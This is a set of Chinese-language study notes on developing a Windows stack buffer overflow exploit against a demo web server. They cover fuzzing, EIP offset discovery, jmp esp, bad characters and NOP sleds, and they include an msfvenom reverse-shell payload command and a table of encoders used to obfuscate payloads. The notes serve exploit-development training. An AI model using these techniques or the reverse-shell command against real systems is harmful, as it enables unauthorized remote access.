- 没有源代码的情况下找到代码中的漏洞
- 找到一种方法修改输入
- 操作内存获得控制
# 发现漏洞
- 代码审计
- 逆向
- FUZZ
# fuzz 例子
使用 wireshark 监听流量,看一下登录请求
然后使用 python 编写一个脚本,发送登录请求包,并不断增长用户名的名称
attach 一个 debugger 在 web 服务器上,之前的 immunity debugger
无法 attach 到演示的 web 程序上,于是使用了 Microsoft tcpview
查看了一下进程,确定启动了之后,使用管理员权限运行 debugger
当输入的用户名达到 800 字节时,debugger 捕获到了异常, EIP
地址被篡改了
web 程序会崩溃,重新启动
# 编写 exp
- 编写一个框架,能够触发这个溢出漏洞
- 控制 EIP,通过提交不同字符串的数据,来定位覆盖了 EIP 部分数据的具体位置,可以使用
msf-pattern_create -l XXX
来制定长度进行快速构造。在通过msf-pattern_offset -l XXX -q XXXXXXXX
来快速寻找位置,会直接提示 offset。在目标地址前填充登长的垃圾字符,填充至 offset 就可以。 - 定位 shellcode 地址,需要一个比较大的空间存储 shellcode,可以越过 EIP 地址,继续向下进行填充 shellcode。当接触到 shellcode 区域的时候,ESP 会弹出 shellcode 的地址,需要将这个地址覆盖到 EIP 中,这个时候就需要 jump 操作了,可以通过
msf-nasm_shell
,键入jmp esp
获取操作码。然后通过 debugger 中的 mona 搜索这个操作码,在系统的模块中找到这个操作码的内存地址。这样我们把 EIP 填充这个地址,会去程序调用的模块的内存中执行这个 jmp 代码,跳转到 shellcode 区域。 - 测试坏字符,不同的环境下,不同的字节可能导致程序进行截断,因此要特殊处理。处理的方式可能就是要从
00
到FF
全都试一下,看看会不会引发异常。把 00 到 FF 所有的字符填充到 shellcode 区域,一点点定位引起异常的位置。通过显示在缓冲区的数据,可以查看数据是否进入了缓冲区,如果不全,说明碰到了阶段的坏字符,就要记录下。
填充 EIP 地址的时候注意系统的大小端模式,可能需要反序一下
最后使用 msfvenom 生成 shellcode: msfvenom -p windwos/shell_reverse_tcp LHOST=X.X.X.X LPORT=XX -f c
,生成的 shellcode 是 C 语言版本的
此外可以通过 -e
参数指定编码器,在通过 -b
参数去除坏字符
参数 | 描述 |
---|---|
-e x86/shikata_ga_nai | 使用 Shikata Ga Nai 编码来混淆 payload |
-e x86/alpha_mixed | 使用 alpha_mixed 编码来生成混合字母数字的 payload |
-e x86/unicode_mixed | 使用 unicode_mixed 编码生成混合 Unicode 字符的 payload |
-e x86/call4_dword_xor | 使用 call4_dword_xor 编码来进行 XOR 加密 |
-e x86/countdown | 使用 countdown 编码来减少 payload 的大小 |
-e x86/avoid_utf8_tolower | 使用 avoid_utf8_tolower 编码来避免小写化 UTF-8 字符 |
-e x86/fnstenv_mov | 使用 fnstenv_mov 编码来混淆 payload |
构造 shellcode 之后,有个新的问题,这个 shellcode 是经过编码的,在进行解码的时候,会有一个 getpc 例程,这个编码器的 getpc 例程会将寄存器的一些数据存入栈顶及其附近,而这个时候 ESP 和 EIP 的位置重叠,写入的数据很可能会覆盖掉 shellcode,从而导致程序崩溃,因此要在 EIP 和 shellcode 之间添加一些 nop 执行,作为一个 landing field。这样进行 getPC 例程写入数据的时候不会覆盖到 shellcode 区域。
当拿到 shell,进行退出的时候,可能会导致程序崩溃。这个问题可以通过添加 EXITFUNC=THREAD
# 微软对缓冲区的保护
微软对 EIP 的保护机制有三个 DEP/ASLR/CFG
DEP(Data Execution Prevention):是一组硬件和软件技术,它们对内存执行额外的检查以帮助防止恶意代码在系统上运行。 DEP 的主要好处是通过引发异常来防止从数据页执行代码。
ASLR (Address Space Layout Randomization): 每次运行时,ASLR 都会随机化已加载的应用程序和 DLL 的基地址。系统启动。在较旧的 Windows 操作系统(例如 Windows XP)上,所有 DLL 每次都被加载到相同的内存地址,从而导致漏洞利用简单得多。与 DEP 结合使用时,ASLR 可以非常有效地缓解 EXP。
CFG (Control Flow Guard):Microsoft 的控制流完整性实现,对间接数据执行验证
代码分支,防止覆盖函数指针。
但是编译的过程中可能会被关闭
# 小结
真吉尔复杂,需要对 immunity Debugger
操作熟练,还要对计算机原理和操作系统有深入理解、还要掌握点汇编……
6